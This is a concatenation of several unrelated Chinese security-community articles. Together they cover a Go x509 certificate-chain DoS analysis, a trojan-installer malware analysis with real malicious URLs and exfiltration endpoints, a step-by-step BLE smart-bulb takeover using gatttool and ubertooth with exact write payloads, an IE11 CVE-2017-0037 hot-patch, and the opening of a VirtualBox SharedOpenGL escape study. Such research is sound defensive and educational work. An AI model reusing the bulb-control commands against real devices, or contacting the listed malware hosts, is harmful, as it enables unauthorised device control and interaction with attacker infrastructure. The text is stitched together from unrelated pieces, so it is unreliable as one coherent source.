panic(errors.New("could not add to CA pool"))
}
tlsConfig := &tls.Config{
ClientCAs: caPool,
ClientAuth: tls.RequireAndVerifyClientCert,
}
//tlsConfig.BuildNameToCertificate()
server := &http.Server{
Addr: ":8080",
TLSConfig: tlsConfig,
}
server.ListenAndServeTLS(certWeb, keyWeb)
在标准的TLS验证场景中，TLS客户端会连接到TLS服务器的`8080`端口，然后向服务器提供证书的“trust
chain”（信任链），其中包括客户端证书、root
CA证书以及中间所有CA证书。TLS服务器处理TLS握手，验证客户端证书，检查客户端是否可信（即客户端证书是否由服务器信任的CA签名）。通常TLS握手过程如下图所示：
分析Go语言的`crypto/x509`库，最终我们会进入`x509/tls/handshake_server.go:doFullHandshake()`函数代码段：
...
if c.config.ClientAuth >= RequestClientCert {
if certMsg, ok = msg.(*certificateMsg); !ok {
c.sendAlert(alertUnexpectedMessage)
return unexpectedMessageError(certMsg, msg)
}
hs.finishedHash.Write(certMsg.marshal())
if len(certMsg.certificates) == 0 {
// The client didn't actually send a certificate
switch c.config.ClientAuth {
case RequireAnyClientCert, RequireAndVerifyClientCert:
c.sendAlert(alertBadCertificate)
return errors.New("tls: client didn't provide a certificate")
}
}
pub, err = hs.processCertsFromClient(certMsg.certificates)
if err != nil {
return err
}
msg, err = c.readHandshake()
if err != nil {
return err
}
}
...
根据代码，服务器会处理收到的客户端证书，然后调用`x509/tls/handshake_server.go:processCertsFromClient()`函数。如果需要验证客户端证书，服务器就会创建一个[`VerifyOptions`](https://golang.org/pkg/crypto/x509/#VerifyOptions)结构，其中包含如下信息：
* root CA池，即已配置的一系列可信CA（由服务器控制），用来验证客户端证书
* 中间CA池，即服务端收到的一系列中间CA（由客户端控制）
* 已签名的客户端证书（由客户端控制）
* 其他字段（可选项）
if c.config.ClientAuth >= VerifyClientCertIfGiven && len(certs) > 0 {
opts := x509.VerifyOptions{
Roots: c.config.ClientCAs,
CurrentTime: c.config.time(),
Intermediates: x509.NewCertPool(),
KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
}
for _, cert := range certs[1:] {
opts.Intermediates.AddCert(cert)
}
chains, err := certs[0].Verify(opts)
if err != nil {
c.sendAlert(alertBadCertificate)
return nil, errors.New("tls: failed to verify client's certificate: " + err.Error())
}
c.verifiedChains = chains
}
为了澄清问题机理，我们需要理解服务端如何管理证书池，以便通过高效的方式来验证证书。证书池实际上就是一个证书列表，可以根据实际需求通过3种不同的方式来访问。一种访问方式如下图所示：池中证书可以通过索引数组（这里为`Certs`）来访问，以`CN`,
`IssuerName`, `SubjectKeyId`字段作为哈希字段。
### 验证过程
服务端使用`VerifyOptions`参数调用`Verify()`函数来处理客户端证书（即`chain:certs[0]`中的第一个证书）。
然后`Verify()`会根据客户端提供的证书链来处理待验证的客户端证书，但首先需要使用`buildChains()`函数建立并检查整条验证链：
var candidateChains [][]*Certificate
if opts.Roots.contains(c) {
candidateChains = append(candidateChains, []*Certificate{c})
} else {
if candidateChains, err = c.buildChains(make(map[int][][]*Certificate), []*Certificate{c}, &opts); err != nil {
return nil, err
}
}
而`buildChains()`函数会依次调用占用CPU资源的一些函数，递归处理这条链上的每个元素。
`buildChains()`函数依赖于`findVerifiedParents()`函数，而后者可以通过`IssuerName`或者`AuthorityKeyId`映射访问证书池，识别上级证书，,然后返回候选证书索引，以便后续根据客户端控制的证书池来验证该证书。
在正常情况下，程序会提取`IssuerName`及`AuthorityKeyId`，并且认为这些值为唯一值，只会返回一个待验证的证书：
func (s *CertPool) findVerifiedParents(cert *Certificate) (parents []int, errCert *Certificate, err error) {
if s == nil {
return
}
var candidates []int
if len(cert.AuthorityKeyId) > 0 {
candidates = s.bySubjectKeyId[string(cert.AuthorityKeyId)]
}
if len(candidates) == 0 {
candidates = s.byName[string(cert.RawIssuer)]
}
for _, c := range candidates {
if err = cert.CheckSignatureFrom(s.certs[c]); err == nil {
parents = append(parents, c)
} else {
errCert = s.certs[c]
}
}
return
}
`buildChains()`函数会在客户端发给TLS服务器的整条证书链上执行如下操作：
* 在（服务端）root CA池上调用`findVerifiedParents(client_certificate)`，查找待验证证书的签发机构（判断是否为root CA），然后根据`AuthorityKeyId`（如果不为`nil`）或者原始的issuer值（如果为`nil`）检查所有找到的证书的签名
* 在（客户端提供的）中间CA池上调用`findVerifiedParents(client_certificate)`，查找已验证证书的签发机构（判断是否为中间CA），然后根据`AuthorityKeyId`（如果不为`nil`）或者原始的`issuer`值（如果为`nil`）检查所有找到的证书的签名
* 获取上一级中间签名节点
* 在新发现的中间节点上调用`buildChains()`，然后重复前面描述的签名检查过程
### DoS攻击
攻击者可以构造一种非预期场景，其中所有的中间CA证书使用的都是同一个名称，并且`AuthKeyId`值为`nil`，这样当调用`buildChains()`和`findVerifiedParent()`函数时，就会造成CPU
DoS攻击效果。`findVerifiedParent()`函数会返回与该名称匹配的所有证书（这里返回的是整个证书池），然后检查所有证书的签名。检查完毕后，会再次递归调用`buildchains()`函数处理找到的上一级证书，最后处理到root
CA为止。每一次检查过程实际上都会处理整个中间CA池，因此单单一个TLS连接就会耗尽所有可用的CPU资源。
## 五、漏洞影响
攻击者可以精心构造一条证书链，使客户端证书校验过程耗尽服务端所有CPU资源，降低目标主机响应速度。只需要1个连接就能导致这种攻击效果。根据Go的调度程序规则，只有两个CPU核心会受到影响，CPU使用率达到100%，攻击者可以创建新连接，强制调度程序分配更多资源来校验签名，最终导致目标服务或目标主机无响应。
## 六、缓解措施
Go语言社区已经通过[如下措施](https://go-review.googlesource.com/c/go/+/154105/)修复该问题：
* 在`findVerifiedParent()`证书池查找过程中移除签名检测逻辑
* 限制签名检测次数，最多检测100个中间CA（实际信任链中很难看到这种情况）
如果向修复该漏洞，请立即[升级](https://golang.org/dl/)到G0 v1.10.6、v1.11.3或者更新版本。 | 社区文章 |
# 安装包有鬼：深入分析流氓推广器木马的隐身手段
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
****
** 作者:360成都反病毒团队**
**一、样本信息**
病毒类型:流氓推广木马
文件名:代练通setup_15.11.5.3.exe
MD5: 691e97d3f69fda172cf4c78d5c202069
文件大小:5,914,624Bytes
加壳类型:无
开发工具:易语言
**二、病毒介绍**
近期,360成都反病毒团队监测到一批由正规下载站发布的安装包病毒。这类病毒采用一系列技术手段躲避和干扰安全厂商,目前国内尚有多款杀毒软件无法查杀该病毒。因此我们对这批安装包病毒进行详细分析,并提醒各安全厂商注意加强检测。
这批安装包病毒主要是一些游戏、播放器和实用工具安装程序,分析后发现,病毒作者是把一个木马程序和一个正常的安装包做成一个伪安装包,诱导用户执行。病毒样本信息如下:
图1 安装包病毒文件
我们详细分析了一个名为“代练通setup_15.11.5.3.exe”的伪安装包。在用户运行该安装包病毒时,它会释放一个正常的安装包程序和一个木马程序CLManager.exe执行,释放的时候,CLManager.exe会被添加一些随机数据,干扰杀毒软件云查杀。正常安装包程序继续安装过程用于迷惑用户,CLManager.exe则从云端下载xger.dll模块加载运行,xger.dll除了会收集用户信息,进行流氓推广以外,还会用一个正常的白签名文件替换本地文件镜像CLManager.exe,CLManager.exe被替换后则不再启动执行,病毒以此隐蔽自己、干扰用户,同时还会影响杀软对该病毒的查杀。相关病毒模块信息如下:
图2 病毒模块
安装包病毒完整的执行过程:
图3 病毒流程图
**三、详细分析**
1、病毒安装包
病毒安装包是攻击者蓄意制作的,由一个正常的安装包和一个病毒主程序组成,易语言开发,启动后会释放这两个程序,正常安装包执行正常安装流程,迷惑用户,同时释放执行病毒CLManager.exe。在释放病毒CLManager.exe时,会生成一个随机数填充在文件末尾,这样使每次释放的文件MD5不同,干扰杀软云查杀。
图4 生成随机数
2、CLManager.exe
病毒启动后,在内存中解密执行1.dll,1.dll主要负责连接网络,从云端获取配置文件,并解密得到一个URL链接hao123.030000.cc/666.jpg,该链接指向一个jpg文件。
图5 云端获取的下载链接
病毒下载该jpg文件后,从文件中提取出病毒的另外一个模块xger.dll并加载执行。
3、xger.dll
该模块是病毒的主功能模块,启动后会创建3个功能线程执行不同的功能,同时还会用一个合法的白签名文件替换掉本地病毒文件CLManager.exe,达到更好干扰和隐藏的目的。
图6 被替换后的CLManager.exe
**功能线程** **1** **:**
线程1会判断用户的执行环境,通过进程名判断自身DLL是否运行在被打包的病毒主体中,不是则退出。
图7 检测母体进程名是否合法
xger还会判断计算机名,如果包含”COMPUTER”和”KS-“程序则退出:
图8 检测计算机名是否合法
通过以上病毒运行环境检查后,病毒便开始收集系统信息、杀软安装信息及是否在网吧等,并将这些信息上传到远程服务器http://hao123.5ama.com/test8.asp?number=ddd。
**功能线程** **2** **:**
线程2进一步判断计算机运行环境,主要针对用户是否安装360和是否在网吧环境进行区别对待。
通过查找进程名ZhuDongFangYu、360SD判断电脑是否有360卫士和360杀毒在运行:
图9 检测360
通过查找进程名wanxiang、yaoqianshu、pubwin判断程序是否运行于网吧:
图10 网吧环境判断
环境检测后,线程2根据是否有360和是否在网吧,进行不同的推广:
图11 根据环境推广
需要特别指出,当非网吧用户且系统没有安装360时,xger会进一步下载其他的病毒模块执行:
图12 下载病毒子模块
**功能线程** **3** **:**
线程3会检测系统环境是否正在安装杀软,尝试强制破坏:
图13 病毒探测的杀软进程
同时线程3会删除一些软件在开始菜单的快捷方式、桌面快捷方式和卸载程序,猜测是防止其推广的软件被卸载及隐藏自己推广软件的目的。
图14 病毒删除的内容
4、lua51.dll
lua51.dll是xger判断环境后进一步下载执行的模块,该模块通过与其一起被下载的白利用程序nZyTsC.exe启动,当nZyTsC.exe运行时会加载lua51.dll执行。
lua51.dll启动后,释放白文件KZMount.exe和病毒模块Chs_Lang.dll,并将KZMount.exe添加系统启动项。
图15 lua51释放其他病毒模块
当系统启动时,KZMount.exe自动执行,
Chs_Lang.dll被其加载,Chs_Lang.dll会创建挂起的svchost.exe进程并将代码注入到svchost.exe进程中运行。
注入后的svchost.exe进程会连接网络从云端获取数据并解密出新的URL,再从新的URL下载文件abc.jpg。注入后的svchost.exe进程再创建一个挂起的svchost.exe进程,将abc.jpg中解密得到的PE文件注入到svchost.exe运行。
图16 虚假的svchost再执行虚假的svchost
5、abc.jpg
病毒从abc.jpg模块中抽取出核心代码,注入到svchost傀儡进程中执行。
傀儡svchost会推广百度浏览器:
图17 下载安装百度浏览器
此后,病毒结束掉系统已经启动的浏览器进程,然后带推广参数启动其安装的百度浏览器,如果启动失败,则带推广参数启动新的IE浏览器进程,达到推广目的。
最后,病毒采用xger模块类似的手段上报推广信息、删除本地卸载程序与快捷方式,达到隐藏目的。
**四、防范建议**
1、尽量通过官方网站或其他安全可靠的渠道下载安装软件。
2、如果电脑出现自动安装陌生软件、主页被篡改等异常情况,应及时查杀木马;
3、开启专业安全软件防护,不要被木马网站误导关闭安全软件。 | 社区文章 |
# 【技术分享】基于BLE的IoT智能灯泡的安全漏洞利用
|
##### 译文声明
本文是翻译文章，文章来源：attify.com
原文地址：<http://blog.attify.com/2017/01/17/exploiting-iot-enabled-ble-smart-bulb-security/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
目前物联网和智能设备已经日益普及，并且当我们谈论物联网时，首先想到的往往是智能家居。智能家居通常涉及各种设备，包括智能冰箱、智能灯泡、电源适配器、水壶、烤面包机、蛋盘，等等。
在这篇文章中，我们将讨论如何接管基于BLE的IoT智能灯泡，与之进行交互，改变颜色，并在这个过程中考察BLE的安全机制。
在这篇文章中，我们将要向读者介绍的主题包括：
使用Ubertooth嗅探BLE
主动嗅探流量
修改BLE的处理程序和特征值
控制设备
为了顺利阅读本文，您需要做好以下准备：
硬件
笔记本电脑
Ubertooth
软件
hcitool
ubertooth-utils
Gatttool
**基于BLE的IoT智能灯泡的漏洞利用**
将灯泡连接到电源。然后，试着使用智能手机来打开和关闭灯泡，以确保它工作正常。接下来，我们首先要做的是找到目标设备的蓝牙地址。
第1步：我们使用hcitool查找主机附近存在的所有可用的BLE设备。
hcitool lescan
在上图中，我们能够看到自己周围的多个设备的蓝牙地址。通过检查后发现，我们的灯泡的蓝牙地址看起来像是88：C2：55：CA：E9：4A，该设备的蓝牙名称是cnligh。
第2步：现在，我们已经知道了目标设备的BD_ADDR（蓝牙地址），接下来就可以使用gatttool来查看目标设备中运行的各种服务了。使用gatttool
-I切换到交互模式，然后通过给定的BD_ADDR连接到目标设备。
gatttool -I
connect 88:C2:55:CA:E9:4A
primary
在上图中，有三个主要的服务在运行，对应于三个UUID。其中，00001800和00001801是Bluetooth SIG定义的服务，而UUID
0000f371则并非由蓝牙SIG定义的服务。
第3步：现在我们可以使用char-desc列出特定UUID（0000f371）中的所有句柄。最好指定attr和end
group句柄，就本例而言为0x0010 0xffff
char-desc 0x0010 0xffff
在上图中，我们给出了特定的UUID 0xffff的句柄列表。
通过观察，我们发现服务0xfff1到0xfff9是由制造商定义的，其他的则是由蓝牙技术联盟采用的服务，如主要服务、特征、特征用户描述。如果您想进一步了解服务及其具体的UUID值的话，请参考<https://www.bluetooth.com/specifications/gatt/services>
。
第4步：这里有很多句柄同时我们不知道可以向哪些句柄写数据，所以我们尝试用句柄值来读取句柄
char-read-hnd 0x0012
当我们尝试读取句柄时，会收到如上图所示的错误信息。当然，这里有点难度，因为我们不知道哪些句柄可以读取/写入数据，甚至连数据包的格式都不知道。
为了了解数据包格式和句柄，我们可以嗅探BLE数据包。这方面，Ubertooth是一种有效的工具，可用于BLE流量的主动嗅探。
第5步：利用ubertooth-btle嗅探BLE数据包。为此，我们可以直接使用ubertooth-btle
-f命令。如果您有多个设备，可以使用ubertooth-btle -f -t
<BD_ADDR>与目标设备的蓝牙地址。在本例中，BD_ADDR是88：C2：55：CA：E9：4A
ubertooth-btle -f -t88:C2:55:CA:E9:4A
第6步：为了捕获数据包，可以使用以下命令
ubertooth-btle -f -t88:C2:55:CA:E9:4A -c smartbulb_dump.pcap
-c用于捕获由文件名指定的pcap中的数据包。
现在打开您的灯泡手机应用程序并连接灯泡。连接成功后，请执行一个动作，如改变灯泡的颜色，ubertooth将捕获所有的数据包。
上图展示的是灯泡的广告包，并且需要注意以下几点
访问地址（AA）为0x8e89bed6，用于管理链路层，它是一个随机数。
它是37频道，专们用于广告的频道之一。
数据包PDU是ADV_IND，意味着它是可连接的，单向的和可扫描的。
AdvA id是88：c2：55：ca：e9：4a，这只是广告设备的BD_ADDR
Type 01标志表示AdvA地址是随机的。
如果仔细观察上图，我们将注意到这里有两个值——来自目标设备的扫描响应（SCAN_RSP）和来自应用程序的扫描请求（SCAN_REQ）
**SCAN_REQ**
ScanA是一个6字节的扫描地址，TxAdd指示它是随机值还是公共地址
AdvA是一个6字节的广告地址，PDU中的RxAdd表示地址是公共的还是随机的
**SCAN_RES**
AdvA是一个6字节的广告地址，TxAdd表示地址的类型，是随机的还是公开的
ScanRspData是来自广告客户的可选广告数据
**Connec_REQ**
下图展示的是嗅探到的数据
第7步：下面使用wireshark分析捕获的数据包，首先启动wirehark，然后打开捕获的pcap文件。
这时，它将显示所有捕获的数据包。
第8步：现在我们需要在这些捕获的数据包中查找ATT数据包。其中，最简单的方法就是使用wireshark中的过滤器选项，即键入btl2cap.cid ==
0x004
如果我们观察上图，会发现这里只有ATT数据包和数据包方面的信息。
第9步：这里，我们在改变灯泡的颜色的同时已经捕获了数据包，所以让我们来研究一下写请求数据包。
现在我们知道数据将被写入句柄0x0012，该句柄属于我们需要弄清楚的某个UUID。
第10步：如果我们分析特定的写请求包，我们可以发现相应的访问地址、CRC值、操作码、句柄和UUID
在上图中我们可以看到
访问地址：0xaf9a9515
主从地址
CRC：0x6dcb5
句柄：0x0012
UUID：0xfff1
值：03c90006000a03000101000024ff000000006
报头长度为2字节，它紧随PDU之后
模式选择是硬编码的，用于控制灯的颜色
0024ff是RGB值，如果改变这6个字节的内容，就可以获得所需的颜色
第11步：我们可以使用gatttool将值写入特定句柄或UUID，
char-write-req 0x0012 03c90006000a03000101000024ff00000000 //bluish green
char-write-req 0x0012 03c90006000a0300010100ff000000000000 // Red
char-write-req 0x0012 03c90006000a030001010000ff0000000000 //Green
char-write-req 0x0012 03c90006000a03000101000000ff00000000 // Blue
char-write-req 0x0012 03c90006000a03000101000024ff00000000 //bluish green
char-write-req 0x0012 03c90006000a0300010100ff000000000000 // Red
char-write-req 0x0012 03c90006000a030001010000ff0000000000 //Green
char-write-req 0x0012 03c90006000a03000101000000ff00000000 // Blue
第12步：若要打开和关闭灯泡，可以更改数据中的开/关位
char-write-req 0x0012 03c90006000a030101010000000000000000 //Off
char-write-req 0x0012 03c90006000a0300010100ff000000000000 //On
char-write-req 0x0012 03c90006000a030101010000000000000000 //Off
char-write-req 0x0012 03c90006000a0300010100ff000000000000 //On
03c90006000a030101010000000000000000将关闭灯泡，RGB值应为零，否则灯泡不会关闭
03c90006000a0300010100ff0000000000000将打开灯泡，这里RGB值是强制性的。
**总结**
本文介绍了如何利用基于BLE的智能灯泡的安全漏洞，在将来的文章中，我们将继续研究其他BLE的漏洞利用技术、Zigbee漏洞利用技术等，敬请期待。 | 社区文章 |
# 【技术分享】0patch另一个0day：IE 11类型混淆漏洞（CVE-2017-0037）
|
##### 译文声明
本文是翻译文章，文章来源：0patch.blogspot.com
原文地址：<https://0patch.blogspot.com/2017/03/0patching-another-0-day-internet.html >
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[啦咔呢](http://bobao.360.cn/member/contribute?uid=79699134)
预估稿费：170RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**传送门**
[**【技术分享】0patch一个0day漏洞：Windows
gdi32.dll内存披露（CVE-2017-0038）**](http://bobao.360.cn/learning/detail/3578.html)
**前言**
自从[上一篇文章](http://bobao.360.cn/learning/detail/3578.html)发表已经过去一周了，所以在微软每周二定期更新补丁前的这段空隙里，似乎是时候发布另一个0patch了。这一周过得很有趣，因为我们0patch平台（开放测试版正在进行中）吸引了大量新用户提供了许多有用的反馈。
**CVE-2017-0037： IE 11类型混淆漏洞**
这一次我发布的是有关IE11的补丁，它可以保护一个比之前更严重的漏洞，这个漏洞据说可能允许远程代码执行。我再次根据Google Project
Zero提供的bug报告进行分析，该报告会在90天后自动解除限制。这一次是Ivan Fratric 获得荣誉。
PoC（可以从Ivan报告的顶部提取）是一个简短的HTML文件，在IE11中打开时，JavaScript自动地重新格式化一张HTML表的StyleSheet属性导致了类型混淆，并以崩溃的方式结束。在开启
Application Verifier 的情况下检查崩溃现场并附加上 WinDbg，我得到了相同的结果如下：
(430.1a4c): Access violation - code c0000005 (!!! second chance !!!)
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
000007fe`ddeeba17 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
我执行！heap -p -a @rbp来获取损坏对象创建的调用堆栈。它表明非法rax地址源于Array <int> :: Create
没有迹象表明这是典型的内存损坏漏洞，如缓冲区溢出漏洞，或与崩溃直接有关的use-after-free漏洞，而这种崩溃大多可以用几乎标准的方式去分析和修补（见我们以前的博客文章）。因此，我总结出，为了解决这个漏洞，一个较不确定且更详细的分析是很必要的。而我们所需要的是一组从PoC衍生的探针，以便将正确的执行流程与非法的执行流程分开。然后这些探针可以在WinDbg中被跟踪并与
trace-dump对照。进而我发现了：
1、 boom()函数调用可以导致仅由一些事件触发的崩溃，而这些事件都是从页面加载中分离出来的，如点击或定时器事件。
2、除了“aaaaaaaaaaaaaaa”，mediaText可以设置为合法的值，如print，handheld，projection等，浏览器仍然会崩溃
3、静态定义的媒体（在css 定义内）不会导致崩溃。
附加到探针后我跟踪了所述的Array
<int>到崩溃的生命周期，以及在设置了mediaText和th1.align的各种情况之间的差异。在我有限的时间内，我只能比较所述探针跟踪到执行流的几个组合，但最终也没有完全理解非法解析行为到底发生在哪里。时间上不占优势，所以我选择了一个更简单的解决方案：削减功能。正所谓：“如果你的指甲会导致你绊倒，那就切断它…”
基于我上面的发现，这意味着要禁用mediaText设置。但首先让我们看看mediaText是什么。根据W3C，它负责获取和设置媒体查询的集合。通过使用媒体查询，
可以针对特定范围的输出设备定制化呈现，而并不改变内容本身。所以基本上我们可以干扰网页布局。如果你看一下W3C给出的例子，会发现这些例子都使用静态媒体定义，而我将要做的补丁并不会对其产生影响，因为除非函数暴露在PoC依赖的JavaScript时才会产生影响。保护系统免受潜在的远程代码执行威胁，但可能换来某些页面样式的错误，这样是否值得你会有自己的选择。（0patch代理允许禁用补丁，如果你不能忍受它）。现在让我们看看补丁是如何工作的。
下面是我的0patch源文件内容。它为模块mshtml.dll定义了两个patchlet，位于patchlet_start
和patchlet_end之间。通过跟踪CSSMediaList对象上每个可能的setter（设置器）来获得Patchlet位置，CSSMediaList对象可以通过JavaScript访问到。我找到两个这样的位置：
media.mediaText设置器映射到CFastDOM :: CMediaList :: Trampoline_Set_mediaText
media.appendMedium方法映射到CFastDOM :: CMediaList :: Trampoline_appendMedium
我修补了这两个设置器，使它们的函数体被完全跳过（使用JUMPOVERBYTES指令），它们的结果通过xor rax，rax设置为SUCCESS。
;目标操作系统：Windows 7 64bit
;
RUN_CMD C： Program Files Internet Explorer iexplore.exe C： 0patch Patches CVE-2017-0037 poc.html
MODULE_PATH“C： Windows System32 mshtml.dll”
PATCH_ID 265
PATCH_FORMAT_VER 2
VULN_ID 2140
PLATFORM win64
patchlet_start
PATCHLET_ID 1
PATCHLET_TYPE 2
PATCHLET_OFFSET 0x00f79cc0
JUMPOVERBYTES 211;
code_start
xor rax，rax ; 返回SUCCESS
code_end
patchlet_end
patchlet_start
PATCHLET_ID 2
PATCHLET_TYPE 2
PATCHLET_OFFSET 0x00fa3f80
JUMPOVERBYTES 197
code_start
xor rax，rax ; 返回SUCCESS
code_end
patchlet_end
用0patch Builder 编译这个.0pp文件后，补丁将被应用，并且在IE11浏览器中运行PoC不会再崩溃。
如果您安装了0patch代理，补丁ZP-265到ZP-268应该已经存在于您的机器上。如果没有，您可以下载0patch代理的免费副本，
可以使自己在等待微软修复期间，避免遭受漏洞利用和现存问题之间的麻烦。注意，当微软的更新修复了这个问题，它会替换有漏洞的mshtml .dll
，我们的补丁将自动停止获得应用，因为它是严格绑定到DLL漏洞版本的。我们已经为以下平台部署了此补丁程序：Windows 10 64位，Windows 8.1
64位，Windows 7 64位和Windows 7 32位。
修补这个0day是一个展示我们0patch团队如何进行修补过程的好机会。我们很少发布取代官方供应商修复的补丁。一般来说，我们旨在弥补供应商更新版本与易受攻击电脑安装此更新版本的时间差。值得注意的是，在提供补丁的情况下，即直到下一个周二打补丁之前，我们谈论的不仅仅只是5天，因为对于很多公司来讲，从测试到正式更新批处理并可以应用到他们网络，这个时间差可以是几周也可以是几个月。
所以我们宁愿发布一个简单的临时补丁去阻止攻击者，而不是试图创建一个完美的补丁。对这个漏洞更彻底和更好的分析可以由微软完成。浏览器当然是最复杂的应用程序，所以使用我的黑盒分析工具及在有限的时间内，我也从不欺骗自己可以摸透所有关于HTML设备的细节。相比之下，微软开发者有源代码，正确的工具和知识可以完美地修复这个漏洞，并且可能还会在较短的时间内就完成。
**总结**
在微软提供正式修复之前（提供后我们绝对建议您应用），请随意使用0patch代理和该补丁，以保护自己免受CVE-2017-0037攻击。请记住，我们仍在测试中。
**传送门**
* * *
[**【技术分享】0patch一个0day漏洞：Windows
gdi32.dll内存披露（CVE-2017-0038）**](http://bobao.360.cn/learning/detail/3578.html) | 社区文章 |
# VirtualBox虚拟机逃逸之SharedOpenGL模块
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近研究VirtualBox虚拟机逃逸，前面分析了VirtualBox的HGCM通信协议，本文我们基于HGCM协议与SharedOpenGL模块进行通信，并分析`SharedOpenGL`中使用的`chromium协议`，复现SharedOpenGL中出现的历史漏洞从而进行虚拟机逃逸。
## 0x01 前置知识
### chromium协议
#### 引言
我们使用HGCM通信协议，可以在Guest中与主机的一些服务进行通信，其中有一个服务名为`SharedOpenGL`，这是一个用于3D加速的服务，首先主机中的VirtualBox需要开启3D加速才能在Guest中进行调用
在`src\VBox\GuestHost\OpenGL`目录下，是位于Guest中的组件源码，该组件在Guest中通过HGCM协议与Host中的`SharedOpenGL`进行连接，然后使用了他们之间的一套新的协议（称之为“`chromium协议`”）来进行数据交换，对于`src\VBox\GuestHost\OpenGL`，我们不用去分析其实现，因为它就是一个相当于客户端一样的东西，我们重点分析Host中的`SharedOpenGL`。
首先看到`src\VBox\HostServices\SharedOpenGL\crserver\crservice.cpp`源文件中的`svcCall`函数，前面介绍过，这是HGCM对`SharedOpenGL`模块的函数调用入口。
#### svcCall
static DECLCALLBACK(void) svcCall (void *, VBOXHGCMCALLHANDLE callHandle, uint32_t u32ClientID, void *pvClient,
uint32_t u32Function, uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival)
{
..................................................
switch (u32Function)
{
case SHCRGL_GUEST_FN_WRITE:
{
..................................
/* Fetch parameters. */
uint8_t *pBuffer = (uint8_t *)paParms[0].u.pointer.addr;
uint32_t cbBuffer = paParms[0].u.pointer.size;
/* Execute the function. */
rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
...................................
break;
}
case SHCRGL_GUEST_FN_INJECT:
{
.......................................
/* Fetch parameters. */
uint32_t u32InjectClientID = paParms[0].u.uint32;
uint8_t *pBuffer = (uint8_t *)paParms[1].u.pointer.addr;
uint32_t cbBuffer = paParms[1].u.pointer.size;
/* Execute the function. */
rc = crVBoxServerClientWrite(u32InjectClientID, pBuffer, cbBuffer);
.................................
break;
}
case SHCRGL_GUEST_FN_READ:
{
...........................................
/* Fetch parameters. */
uint8_t *pBuffer = (uint8_t *)paParms[0].u.pointer.addr;
uint32_t cbBuffer = paParms[0].u.pointer.size;
/* Execute the function. */
rc = crVBoxServerClientRead(u32ClientID, pBuffer, &cbBuffer);
.....................................................
break;
}
case SHCRGL_GUEST_FN_WRITE_READ:
{
..................................................
/* Fetch parameters. */
uint8_t *pBuffer = (uint8_t *)paParms[0].u.pointer.addr;
uint32_t cbBuffer = paParms[0].u.pointer.size;
uint8_t *pWriteback = (uint8_t *)paParms[1].u.pointer.addr;
uint32_t cbWriteback = paParms[1].u.pointer.size;
/* Execute the function. */
rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
if (!RT_SUCCESS(rc))
{
Assert(VERR_NOT_SUPPORTED==rc);
svcClientVersionUnsupported(0, 0);
}
rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);
...........................................
break;
}
case SHCRGL_GUEST_FN_SET_VERSION:
{
.........................................
/* Fetch parameters. */
uint32_t vMajor = paParms[0].u.uint32;
uint32_t vMinor = paParms[1].u.uint32;
/* Execute the function. */
rc = crVBoxServerClientSetVersion(u32ClientID, vMajor, vMinor);
................................
break;
}
case SHCRGL_GUEST_FN_SET_PID:
{
................................
/* Fetch parameters. */
uint64_t pid = paParms[0].u.uint64;
/* Execute the function. */
rc = crVBoxServerClientSetPID(u32ClientID, pid);
.........................
break;
}
case SHCRGL_GUEST_FN_WRITE_BUFFER:
{
..................................
/* Fetch parameters. */
uint32_t iBuffer = paParms[0].u.uint32;
uint32_t cbBufferSize = paParms[1].u.uint32;
uint32_t ui32Offset = paParms[2].u.uint32;
uint8_t *pBuffer = (uint8_t *)paParms[3].u.pointer.addr;
uint32_t cbBuffer = paParms[3].u.pointer.size;
/* Execute the function. */
CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize);
if (!pSvcBuffer || ((uint64_t)ui32Offset+cbBuffer)>cbBufferSize)
{
rc = VERR_INVALID_PARAMETER;
}
else
{
memcpy((void*)((uintptr_t)pSvcBuffer->pData+ui32Offset), pBuffer, cbBuffer);
/* Return the buffer id */
paParms[0].u.uint32 = pSvcBuffer->uiId;
......................
break;
}
case SHCRGL_GUEST_FN_WRITE_READ_BUFFERED:
{
.................................
/* Fetch parameters. */
uint32_t iBuffer = paParms[0].u.uint32;
uint8_t *pWriteback = (uint8_t *)paParms[1].u.pointer.addr;
uint32_t cbWriteback = paParms[1].u.pointer.size;
CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);
if (!pSvcBuffer)
{
LogRel(("OpenGL: svcCall(WRITE_READ_BUFFERED): Invalid buffer (%d)\n", iBuffer));
rc = VERR_INVALID_PARAMETER;
break;
}
uint8_t *pBuffer = (uint8_t *)pSvcBuffer->pData;
uint32_t cbBuffer = pSvcBuffer->uiSize;
/* Execute the function. */
rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
if (!RT_SUCCESS(rc))
{
Assert(VERR_NOT_SUPPORTED==rc);
svcClientVersionUnsupported(0, 0);
}
rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);
if (RT_SUCCESS(rc))
{
/* Update parameters.*/
paParms[1].u.pointer.size = cbWriteback;
}
/* Return the required buffer size always */
paParms[2].u.uint32 = cbWriteback;
svcFreeBuffer(pSvcBuffer);
}
break;
}
从上面的源码我们可以知道
> That sequence can be performed by the Chromium client in
> different ways:
>
> 1. Single-step: send the rendering commands and receive the
> resulting frame buffer with one single message.
> 2. Two-step: send a message with the rendering commands
> and let the server interpret them, then send another
> message requesting the resulting frame buffer.
> 3. Buffered: send the rendering commands and let the server
> store them in a buffer without interpreting it, then send a
> second message to make the server interpret the buffered
> commands and return the resulting frame buffer.
>
